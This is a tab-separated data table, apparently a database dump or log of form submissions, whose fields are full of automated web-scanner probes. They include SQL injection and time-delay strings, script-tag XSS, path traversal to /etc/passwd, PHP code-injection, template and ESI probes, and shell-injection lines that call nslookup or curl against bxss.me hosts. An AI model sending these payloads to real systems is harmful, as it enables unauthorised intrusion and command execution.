1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'""()&%<zzz><ScRiPt >V1xQ(9363)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	gethostbyname(lc('hitbm'.'yvxwzxwtd05d9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(70).chr(101).chr(87)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1SDzAqvmT	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""".gethostbyname(lc(""hituz"".""gcnmuheod16ec.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(101).chr(88).chr(100).chr(77)."""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'""()&%<zzz><ScRiPt >V1xQ(9868)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitat"".""dbqjtqvs07256.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(102).chr(71).chr(98).chr(65)."""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitpq'.'fgoqkddx107fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(99).chr(79).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	941029412911	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	19213686	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	hQ8Ck3tJ	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9072144*9562944)+'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	file:///etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUxIOYx6hx'; waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUNylfyhRr' OR 667=(SELECT 667 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU2XoYjU8m') OR 857=(SELECT 857 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.print(md5(31337)).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	gethostbyname(lc('hityx'.'mtvxenktd596f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(75).chr(116).chr(78)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${10000232+9999335}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${9999785+9999835}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${9999583+9999221}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUbcXsHKyR')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	iaLHoCVU	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'+response.write(9480809*9849701)+'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${9999810+9999219}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	19934506	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	response.write(9480809*9849701)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUbjhmXQE7') OR 733=(SELECT 733 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	p9rfUHnx	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${10000111+9999994}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+response.write(9447647*9072497)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'+response.write(9447647*9072497)+'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	response.write(9447647*9072497)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9072144*9562944)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	ld6Tu9ju	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	RbaDZ8Id: 9YObndxT	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	m7mvYUgp: 71JMbDJ2	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${9999518+10000388}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	5uhJ6qE4	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUgrPOEb7a' OR 721=(SELECT 721 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1gA8fk2q: j3OZQjXO	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+response.write(9534446*9382820)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	dgGpsRaX	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'+response.write(9534446*9382820)+'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	oL7dOKIr: s6eSfdgO	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Qq4JfKRw: 4MwZI6Uu	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102<esi:include src=""http://bxss.me/rpb.png""/>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	response.write(9534446*9382820)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+response.write(9139658*9600593)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'+response.write(9139658*9600593)+'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	response.write(9139658*9600593)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 or 'SVaFE4aJ'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<!--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	response.write(9896471*9911546)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'+response.write(9896471*9911546)+'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 or ""LlUTdy8c""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+response.write(9896471*9911546)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	19134233	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitxllhvzvxyu6d098.bxss.me||curl hitxllhvzvxyu6d098.bxss.me)&'\""`0&(nslookup -q=cname hitxllhvzvxyu6d098.bxss.me||curl hitxllhvzvxyu6d098.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"echo wbcrre$()\ xmblln\nz^xyu||a #' &echo wbcrre$()\ xmblln\nz^xyu||a #|"" &echo wbcrre$()\ xmblln\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUIq6GBQxs'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&echo ajoscp$()\ sdxahk\nz^xyu||a #' &echo ajoscp$()\ sdxahk\nz^xyu||a #|"" &echo ajoscp$()\ sdxahk\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 or ""LlUTdy8c""="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*ouaoyc&&"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUJ6FIriYs'; waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*nuxejl||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'A'.concat(70-3).concat(22*4).concat(119).concat(90).concat(116).concat(68)+(require'socket'
Socket.gethostbyname('hitgn'+'muqcfdwdb520c.bxss.me.')[3].to_s)"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitateatqgkqf82436.bxss.me||curl${IFS}hitateatqgkqf82436.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
